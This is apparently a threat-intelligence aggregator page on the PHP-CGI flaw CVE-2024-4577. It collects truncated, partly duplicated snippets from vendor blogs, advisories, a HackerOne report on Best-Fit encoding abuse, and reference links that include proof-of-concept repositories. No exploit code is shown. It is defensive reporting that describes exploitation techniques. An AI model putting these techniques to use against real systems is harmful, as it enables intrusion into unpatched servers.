- The attacker has exploited the vulnerability CVE-2024-4577, a remote code execution (RCE) flaw in the PHP-CGI implementation of PHP on Windows, to gain initial access to victim machines.
- The attacker utilizes plugins of the publicly available Cobalt Strike kit "TaoWu" for-post exploitation activities.
- Talos found a pre-configured installer script on the command and control (C2) server that deploys a full suite of adversarial tools and frameworks hosted on an Alibaba cloud container Registry, highlighting the potential misuse of such tools for malicious purposes by the attacker.
- Talos noticed the attacker’s attempt at stealing
Qualys
Oracle Critical Patch Update, October 2024 Security Update Review
blogs_qualys·2024-10-16
Oracle Critical Patch Update, October 2024 Security Update Review
## Table of Contents
Qualys QID Coverage
Notable Oracle Vulnerabilities Patched
Discover and Prioritize Vulnerabilities in Vulnerability Management, Detection & Response (VMDR)
Oracle released the last quarterly edition of this year’s Critical Patch Update. The update contains patches for 334 security vulnerabilities. Some of the vulnerabilities addressed in this update impact more than one product. These patches address vulnerabilities in various product families, including third-party components in Oracle products.
In this quarterly Oracle Critical Patch Update, Oracle Communications received the highest number of patches, 100 constituting about 30% of the total patches released. Oracle MySQL and Oracle Fusion Middleware followed, with 45 and 32 security patches, respectively.
244
Qualys
Oracle Critical Patch Security Update: October 2024 | Qualys
blogs_qualys·2024-10-16
Oracle Critical Patch Security Update: October 2024 | Qualys
#### Table of Contents
- Qualys QID Coverage
- Notable Oracle Vulnerabilities Patched
- Discover and Prioritize Vulnerabilities in Vulnerability Management, Detection & Response (VMDR)
Oracle released the last quarterly edition of this year’s Critical Patch Update. The update contains patches for 334 security vulnerabilities. Some of the vulnerabilities addressed in this update impact more than one product. These patches address vulnerabilities in various product families, including third-party components in Oracle products.
In this quarterly Oracle Critical Patch Update, Oracle Communications received the highest number of patches, 100 constituting about 30% of the total patches released. Oracle MySQL and Oracle Fusion Middleware followed, with 45 and 32 security patches, respectively.
Securelist
IT threat evolution in Q2 2024. Non-mobile statistics
blogs_securelist·2024-09-03
IT threat evolution in Q2 2024. Non-mobile statistics
Table of Contents
Quarterly figures
Ransomware
Quarterly trends and highlights
Law enforcement successes
Attacks exploiting vulnerabilities
Most active groups
Number of new modifications
Number of users attacked by ransomware Trojans
Geography of attacked users
Top 10 countries and territories targeted by ransomware Trojans
Top 10 most common families of ransomware Trojans
Miners
Number of new modifications
Number of users attacked by miners
Geography of attacked users
Top 10 countries and territories targeted by miners
Attacks on macOS
Top 20 threats to macOS
Geography of threats for macOS
Top 10 countries and territories by share of attacked users
IoT threat statistics
Top 10 threats delivered to IoT devices
Attacks on IoT honeypots
Attacks via web resources
Coun
Securelist
Statistics on PC malware for Q2 2024
blogs_securelist·2024-09-03·CVSS 7.8
[HIGH] Statistics on PC malware for Q2 2024
Table of Contents
- Quarterly figures
- Ransomware
- Miners
- Attacks on macOS
- IoT threat statistics
- Attacks via web resources
- Local threats
Authors
- AMR
The statistics presented here are based on detection verdicts by Kaspersky products and services received from users who consented to providing statistical data.
## Quarterly figures
In Q2 2024:
- Kaspersky solutions blocked over 664 million attacks from various internet sources.
- The web antivirus reacted to 113.5 million unique URLs.
- The file antivirus blocked over 27 million malicious and unwanted objects.
- Almost 86,000 users encountered ransomware attacks.
- Nearly 12% of all ransomware victims whose data was published on DLSs (data leak sites) were affected by the Play ransomware group.
- Nearly 340,000 users faced
Securelist
Exploits and vulnerabilities in Q2 2024
blogs_securelist·2024-08-21·CVSS 7.8
CVE-2024-26169 [HIGH] Exploits and vulnerabilities in Q2 2024
Table of Contents
Statistics on registered vulnerabilities
Vulnerability exploitation statistics
Windows and Linux vulnerability exploitation
Most common exploits
Vulnerability exploitation in APT attacks
Exploiting vulnerable drivers to attack operating systems
BYOVD attack tools
Interesting vulnerabilities
CVE-2024-26169 (WerKernel.sys)
CVE-2024-26229 (csc.sys)
CVE-2024-4577 (PHP CGI)
Takeaways and recommendations
Authors
Vitaly Morgunov
Alexander Kolesnikov
Q2 2024 was eventful in terms of new interesting vulnerabilities and exploitation techniques for applications and operating systems. Attacks through vulnerable drivers have become prevalent as a general means of privilege escalation in the operating system. Such attacks are notable in that the vulnerability does not h
Securelist
Analyzing the vulnerability landscape in Q2 2024
blogs_securelist·2024-08-21·CVSS 7.8
CVE-2024-26169 [HIGH] Analyzing the vulnerability landscape in Q2 2024
Table of Contents
- Statistics on registered vulnerabilities
- Vulnerability exploitation statistics
- Vulnerability exploitation in APT attacks
- Exploiting vulnerable drivers to attack operating systems
- Interesting vulnerabilities
- CVE-2024-26169 (WerKernel.sys)
- CVE-2024-26229 (csc.sys)
- CVE-2024-4577 (PHP CGI)
- Takeaways and recommendations
Authors
- Vitaly Morgunov
- Alexander Kolesnikov
Q2 2024 was eventful in terms of new interesting vulnerabilities and exploitation techniques for applications and operating systems. Attacks through vulnerable drivers have become prevalent as a general means of privilege escalation in the operating system. Such attacks are notable in that the vulnerability does not have to be fresh, since attackers themselves deliver unpatched drivers to t
Bleepingcomputer
Hackers use PHP exploit to backdoor Windows systems with new malware
blogs_bleepingcomputer·2024-08-20·CVSS 9.8
CVE-2024-4577 [CRITICAL] Hackers use PHP exploit to backdoor Windows systems with new malware
## Hackers use PHP exploit to backdoor Windows systems with new malware
## Sergiu Gatlan
Unknown attackers have deployed a newly discovered backdoor dubbed Msupedge on a university's Windows systems in Taiwan, likely by exploiting a recently patched PHP remote code execution vulnerability (CVE-2024-4577).
CVE-2024-4577 is a critical PHP-CGI argument injection flaw patched in June that impacts PHP installations running on Windows systems with PHP running in CGI mode. It allows unauthenticated attackers to execute arbitrary code and leads to complete system compromise following successful exploitation.
The threat actors dropped the malware as two dynamic link libraries (weblog.dll and wmiclnt.dll), the former loaded by the httpd.exe Apache process.
Msupedge's most noteworthy feature is
Unit42
Ransomware Review: First Half of 2024
blogs_unit42·2024-08-09·CVSS 9.1
CVE-2018-13379 [CRITICAL] Ransomware Review: First Half of 2024
Threat Research Center
Trend Reports
Ransomware
## Ransomware Review: First Half of 2024
Amanda Tanner
Kristopher Bleich
Published: August 9, 2024
Cybercrime
Ransomware
Trend Reports
Alpha
ALPHV
Ambitious Scorpius
Anemic Scorpius
AvosLocker
Bashful Scorpius
Black Basta
Blackcat
Blackout
BreachForums
Burning Scorpius
Buzzing Scorpius
Chubby Scorpius
CL0P
CVE-2018-13379
CVE-2020-1472
CVE-2024-1708
CVE-2024-1709
CVE-2024-26169
CVE-2024-27198
CVE-2024-4577
Dark Scorpius
DoNex
DragonForce
Drowsy Scorpius
Flighty Scorpius
GhostSec
Healthcare
Hive
Hunters International
Ignoble Scorpius
Karakurt
KelvinSecurity
Leak site
LockBit
Losttrust
LukaLocker
Manufacturing
Muddled Libra
Mushy Scorpius
MyData
NoEscape
Nokoyawa
Qilin
Quilong
Ragnar Locke
Unit42
Ransomware Review: First Half of 2024
blogs_unit42·2024-08-09
Ransomware Review: First Half of 2024
## Executive Summary
Unit 42 monitors ransomware and extortion leak sites closely to keep tabs on threat activity. We reviewed compromise announcements from 53 dedicated leak sites in the first half of 2024 and found 1,762 new posts. This averages to approximately 294 posts a month and almost 68 posts a week. Of the 53 ransomware groups whose leak sites we monitored, six of the groups accounted for more than half of the compromises observed.
In February, we reported a 49% increase year-over-year in alleged victims posted on ransomware leak sites. So far, in 2024, comparing the first half of 2023 to the first half of 2024, we see an even further increase of 4.3%. The higher level of activity observed in 2023 was no fluke.
Activity from groups like Ambitious Scorpius (distributors of Blac
Tenable
Cybersecurity Snapshot: Data Breach Costs Rise, as Ransomware Attacks Fall, Reports Find
blogs_tenable·2024-08-02
Cybersecurity Snapshot: Data Breach Costs Rise, as Ransomware Attacks Fall, Reports Find
## Cloud Exposure
Tenable Cloud Security (CNAPP) Request a demo
Tenable Cloud Vulnerability Management Request a demo
Tenable CIEM Request a demo
Secure your cloud
## Vulnerability Exposure
Tenable Vulnerability Management Try for free
Tenable Security Center Request a demo
Tenable Web App Scanning Try for free
Tenable Patch Management Request a demo
Tenable Enclave Security Request a demo
Tenable Attack Surface Management Request a demo
Tenable Nessus Try for free
## AI Exposure
Tenable AI Exposure Request a demo
## OT/IoT Exposure
Tenable OT Security Request a demo
## Identity Exposure
Tenable Identity Exposure Request a demo
## Business needs
Active Directory
AI Security Posture Management (AI-SPM)
AWS security
Azure security
Cloud Security Posture Man
Greynoiseio
What's Going on with CVE-2024-4577 (Critical RCE in PHP)?
blogs_greynoiseio·2024-06-13·CVSS 9.8
[CRITICAL] What's Going on with CVE-2024-4577 (Critical RCE in PHP)?
CVE Disclosure Early Warning Get an early warning when traffic spikes indicate a high likelihood of new disclosures
Compromised Asset Detection Find out immediately if an asset communicates with a malicious IP address
Vulnerability Prioritization Get real-time insight into active exploitation trends to better understand risk and severity
SOC Efficiency Filter out noisy, low priority and false-positive alerts from mass internet scanners
Incident Investigation Add context to incidents to speed the determinations of scope and timelines
Threat Hunting Quickly identify anomalous behavior and enrich your threat hunting campaigns
Why GreyNoise
CVE Disclosure Early Warning Get an early warning when traffic spikes indicate a high likelihood of new disclosures
Compromised Asset Detection Fin
Wiz
CVE-2024-4577 RCE in PHP CGI: Everything you need to know | Wiz Blog
blogs_wiz·2024-06-10·CVSS 9.8
CVE-2024-4577 [CRITICAL] CVE-2024-4577 RCE in PHP CGI: Everything you need to know | Wiz Blog
Researchers discovered a critical remote code execution vulnerability in PHP CGI, assigned CVE-2024-4577, affecting all Windows versions of PHP CGI. This vulnerability allows unauthenticated attackers to execute arbitrary code on remote servers via argument injection, bypassing previous protections. A patch was released on June 6, 2024, and users are strongly advised to update to the latest PHP versions or apply temporary mitigations.
June 16 update:
The TellYouThePass ransomware gang has been exploiting the recently patched vulnerability (CVE-2024-4577) in PHP to deploy webshells and execute their encryptor payload on target systems. Attacks started on June 8, just after the release of security updates, using publicly available exploit code. Known for exploiting widely impactful vulnera
Checkpoint
10th June – Threat Intelligence Report
blogs_checkpoint·2024-06-10
CVE-2024-4577 10th June – Threat Intelligence Report
Latest Publications
CPR Podcast Channel
AI Research
Web 3.0 Security
Intelligence Reports
ThreatCloud AI
Threat Intelligence & Research
Zero Day Protection
Sandblast File Analysis
About Us
SUBSCRIBE
2026
2025
2024
2023
2022
2021
2020
2019
2018
2017
2016
## 10th June – Threat Intelligence Report
For the latest discoveries in cyber research for the week of 10th June, please download our Threat_Intelligence Bulletin .
TOP ATTACKS AND BREACHES
Pathology services provider Synnovis has experienced a ransomware attack that affected procedures and operations in several major hospitals in London, including the Department of Health and Social Care, NHS Qilin (formerly Agenda) ransomware gang claimed responsibility for the attack.
Check Point Threat Emulation provides prot
Wiz
CVE-2024-4577 RCE in PHP CGI: Everything you need to know | Wiz Blog
blogs_wiz·2024-06-10·CVSS 9.8
CVE-2024-4577 [CRITICAL] CVE-2024-4577 RCE in PHP CGI: Everything you need to know | Wiz Blog
Researchers discovered a critical remote code execution vulnerability in PHP CGI, assigned CVE-2024-4577, affecting all Windows versions of PHP CGI. This vulnerability allows unauthenticated attackers to execute arbitrary code on remote servers via argument injection, bypassing previous protections. A patch was released on June 6, 2024, and users are strongly advised to update to the latest PHP versions or apply temporary mitigations.
June 16 update:
The TellYouThePass ransomware gang has been exploiting the recently patched vulnerability (CVE-2024-4577) in PHP to deploy webshells and execute their encryptor payload on target systems. Attacks started on June 8, just after the release of security updates, using publicly available exploit code. Known for exploiting widely impactful vulnera
Tenable
CVE-2024-4577: Proof of Concept Available for PHP-CGI Argument Injection Vulnerability
blogs_tenable·2024-06-07·CVSS 9.8
[CRITICAL] CVE-2024-4577: Proof of Concept Available for PHP-CGI Argument Injection Vulnerability
## Cloud Exposure
Tenable Cloud Security (CNAPP) Request a demo
Tenable Cloud Vulnerability Management Request a demo
Tenable CIEM Request a demo
Secure your cloud
## Vulnerability Exposure
Tenable Vulnerability Management Try for free
Tenable Security Center Request a demo
Tenable Web App Scanning Try for free
Tenable Patch Management Request a demo
Tenable Enclave Security Request a demo
Tenable Attack Surface Management Request a demo
Tenable Nessus Try for free
## AI Exposure
Tenable AI Exposure Request a demo
## OT/IoT Exposure
Tenable OT Security Request a demo
## Identity Exposure
Tenable Identity Exposure Request a demo
## Business needs
Active Directory
AI Security Posture Management (AI-SPM)
AWS security
Azure security
Cloud Security Posture Man
Bleepingcomputer
PHP fixes critical RCE flaw impacting all versions for Windows
blogs_bleepingcomputer·2024-06-07·CVSS 9.8
[CRITICAL] PHP fixes critical RCE flaw impacting all versions for Windows
## PHP fixes critical RCE flaw impacting all versions for Windows
## Bill Toulas
The PHP project maintainers released a patch yesterday, addressing the vulnerability.
However, the application of security updates on a project with such a large-scale deployment is complicated and could potentially leave a significant number of systems vulnerable to attacks for extended periods.
Unfortunately, when a critical vulnerability impacting many devices is disclosed, threat actors and researchers immediately begin attempting to find vulnerable systems.
Such is the case with CVE-2024-4577, as The Shadowserver Foundation has already detected multiple IP addresses scanning for vulnerable servers.
## The CVE-2024-4577 flaw
The CVE-2024-4577 flaw is caused by an oversight in handling character enco
Greynoiseio
NoiseLetter March 2025
blogs_greynoiseio
NoiseLetter March 2025
CVE Disclosure Early Warning Get an early warning when traffic spikes indicate a high likelihood of new disclosures
Compromised Asset Detection Find out immediately if an asset communicates with a malicious IP address
Vulnerability Prioritization Get real-time insight into active exploitation trends to better understand risk and severity
SOC Efficiency Filter out noisy, low priority and false-positive alerts from mass internet scanners
Incident Investigation Add context to incidents to speed the determinations of scope and timelines
Threat Hunting Quickly identify anomalous behavior and enrich your threat hunting campaigns
Why GreyNoise
CVE Disclosure Early Warning Get an early warning when traffic spikes indicate a high likelihood of new disclosures
Compromised Asset Detection Fin
Greynoiseio
NoiseLetter June 2024
blogs_greynoiseio
NoiseLetter June 2024
CVE Disclosure Early Warning Get an early warning when traffic spikes indicate a high likelihood of new disclosures
Compromised Asset Detection Find out immediately if an asset communicates with a malicious IP address
Vulnerability Prioritization Get real-time insight into active exploitation trends to better understand risk and severity
SOC Efficiency Filter out noisy, low priority and false-positive alerts from mass internet scanners
Incident Investigation Add context to incidents to speed the determinations of scope and timelines
Threat Hunting Quickly identify anomalous behavior and enrich your threat hunting campaigns
Why GreyNoise
CVE Disclosure Early Warning Get an early warning when traffic spikes indicate a high likelihood of new disclosures
Compromised Asset Detection Fin
Greynoiseio
Storm⚡️Watch
blogs_greynoiseio
Storm⚡️Watch
CVE Disclosure Early Warning Get an early warning when traffic spikes indicate a high likelihood of new disclosures
Compromised Asset Detection Find out immediately if an asset communicates with a malicious IP address
Vulnerability Prioritization Get real-time insight into active exploitation trends to better understand risk and severity
SOC Efficiency Filter out noisy, low priority and false-positive alerts from mass internet scanners
Incident Investigation Add context to incidents to speed the determinations of scope and timelines
Threat Hunting Quickly identify anomalous behavior and enrich your threat hunting campaigns
Why GreyNoise
CVE Disclosure Early Warning Get an early warning when traffic spikes indicate a high likelihood of new disclosures
Compromised Asset Detection Fin
Greynoiseio
Storm Watch
blogs_greynoiseio
Storm Watch
CVE Disclosure Early Warning Get an early warning when traffic spikes indicate a high likelihood of new disclosures
Compromised Asset Detection Find out immediately if an asset communicates with a malicious IP address
Vulnerability Prioritization Get real-time insight into active exploitation trends to better understand risk and severity
SOC Efficiency Filter out noisy, low priority and false-positive alerts from mass internet scanners
Incident Investigation Add context to incidents to speed the determinations of scope and timelines
Threat Hunting Quickly identify anomalous behavior and enrich your threat hunting campaigns
Why GreyNoise
CVE Disclosure Early Warning Get an early warning when traffic spikes indicate a high likelihood of new disclosures
Compromised Asset Detection Fin
Bugzilla
CVE-2024-8926 php: PHP CGI Parameter Injection Vulnerability (CVE-2024-4577 bypass)
bugzilla·2024-10-07·CVSS 9.8
CVE-2024-8926 [CRITICAL] CVE-2024-8926 php: PHP CGI Parameter Injection Vulnerability (CVE-2024-4577 bypass)
CVE-2024-8926 php: PHP CGI Parameter Injection Vulnerability (CVE-2024-4577 bypass)
This vulnerability is a bypass of CVE-2024-4577 when using a non-standard configuration of Windows codepages, only obtainable through the registry by pointing the ACP codepage to an OEM codepage. The required configuration is unlikely to occur in a real environment.
HackerOne
Incorrect Encoding Conversion in hostname results in indeterminate SSRF vulnerabilities
hackerone·2024-06-18·CVSS 9.8
[CRITICAL] Incorrect Encoding Conversion in hostname results in indeterminate SSRF vulnerabilities
Incorrect Encoding Conversion in hostname results in indeterminate SSRF vulnerabilities
## Summary:
Best-Fit is a character mapping strategy designed to resolve the issue when characters in the source code page lack a direct equivalent in the target code page. During the conversion of characters from a Unicode code page to a non-Unicode code page, if a corresponding character cannot be located, the conversion is carried out using a predefined Best-Fit conversion table.
For instance, the Best-Fit Mapping conversion table for GBK encoding (cp936) can be found at: https://www.unicode.org/Public/MAPPINGS/VENDORS/MICSFT/WindowsBestFit/bestfit936.txt
This table contains some intriguing character conversions, such as 0xb9 being mapped to 1 and 0xb2 being mapped to 2. By exploiting this convers
arXiv
Efficacy of EPSS in High Severity CVEs found in KEV
arxiv_fulltext·2024-11-04
Efficacy of EPSS in High Severity CVEs found in KEV
empty
empty
24pt
10pt plus 1.0pt minus 2.0pt
## Abstract
The Exploit Prediction Scoring System (EPSS) is designed to assess the probability of a vulnerability being exploited in the next 30 days relative to other vulnerabilities. The latest version, based on a research paper published in arXiv , assists defenders in deciding which vulnerabilities to prioritize for remediation. This study evaluates EPSS's ability to predict exploitation before vulnerabilities are actively compromised, focusing on high severity CVEs that are known to have been exploited and included in the CISA KEV catalog. By analyzing EPSS score history, the availability and simplicity of exploits, the system's purpose, its value as a target for Threat Actors (TAs), this paper examines EPSS's potential and identifies ar
http://www.openwall.com/lists/oss-security/2024/06/07/1https://arstechnica.com/security/2024/06/php-vulnerability-allows-attackers-to-run-malicious-code-on-windows-servers/https://blog.orange.tw/2024/06/cve-2024-4577-yet-another-php-rce.htmlhttps://cert.be/en/advisory/warning-php-remote-code-execution-patch-immediatelyhttps://devco.re/blog/2024/06/06/security-alert-cve-2024-4577-php-cgi-argument-injection-vulnerability-en/https://github.com/11whoami99/CVE-2024-4577https://github.com/php/php-src/security/advisories/GHSA-3qgc-jrrr-25jvhttps://github.com/rapid7/metasploit-framework/pull/19247https://github.com/watchtowrlabs/CVE-2024-4577https://github.com/xcanwin/CVE-2024-4577-PHP-RCEhttps://isc.sans.edu/diary/30994https://labs.watchtowr.com/no-way-php-strikes-again-cve-2024-4577/https://lists.fedoraproject.org/archives/list/[email protected]/message/PKGTQUOA2NTZ3RXN22CSAUJPIRUYRB4B/https://lists.fedoraproject.org/archives/list/[email protected]/message/W45DBOH56NQDRTOM2DN2LNA2FZIMC3PK/https://security.netapp.com/advisory/ntap-20240621-0008/https://www.imperva.com/blog/imperva-protects-against-critical-php-vulnerability-cve-2024-4577/https://www.php.net/ChangeLog-8.php#8.1.29https://www.php.net/ChangeLog-8.php#8.2.20https://www.php.net/ChangeLog-8.php#8.3.8http://www.openwall.com/lists/oss-security/2024/06/07/1https://arstechnica.com/security/2024/06/php-vulnerability-allows-attackers-to-run-malicious-code-on-windows-servers/https://blog.orange.tw/2024/06/cve-2024-4577-yet-another-php-rce.htmlhttps://blog.talosintelligence.com/new-persistent-attacks-japan/https://cert.be/en/advisory/warning-php-remote-code-execution-patch-immediatelyhttps://devco.re/blog/2024/06/06/security-alert-cve-2024-4577-php-cgi-argument-injection-vulnerability-en/https://github.com/11whoami99/CVE-2024-4577https://github.com/php/php-src/security/advisories/GHSA-3qgc-jrrr-25jvhttps://github.com/rapid7/metasploit-framework/pull/19247https://github.com/watchtowrlabs/CVE-2024-4577https://github.com/xcanwin/CVE-2024-4577-PHP-RCEhttps://isc.sans.edu/diary/30994https://labs.watchtowr.com/no-way-php-strikes-again-cve-2024-4577/https://lists.fedoraproject.org/archives/list/[email protected]/message/PKGTQUOA2NTZ3RXN22CSAUJPIRUYRB4B/https://lists.fedoraproject.org/archives/list/[email protected]/message/W45DBOH56NQDRTOM2DN2LNA2FZIMC3PK/https://security.netapp.com/advisory/ntap-20240621-0008/https://www.imperva.com/blog/imperva-protects-against-critical-php-vulnerability-cve-2024-4577/https://www.php.net/ChangeLog-8.php#8.1.29https://www.php.net/ChangeLog-8.php#8.2.20https://www.php.net/ChangeLog-8.php#8.3.8https://www.vicarius.io/vsociety/posts/php-cgi-argument-injection-to-rce-cve-2024-4577https://www.vicarius.io/vsociety/posts/php-cgi-os-command-injection-vulnerability-cve-2024-4577https://www.cisa.gov/known-exploited-vulnerabilities-catalog?field_cve=CVE-2024-4577
2024-06-09
Published
2024-06-12
Added to CISA KEV
Exploited in the wild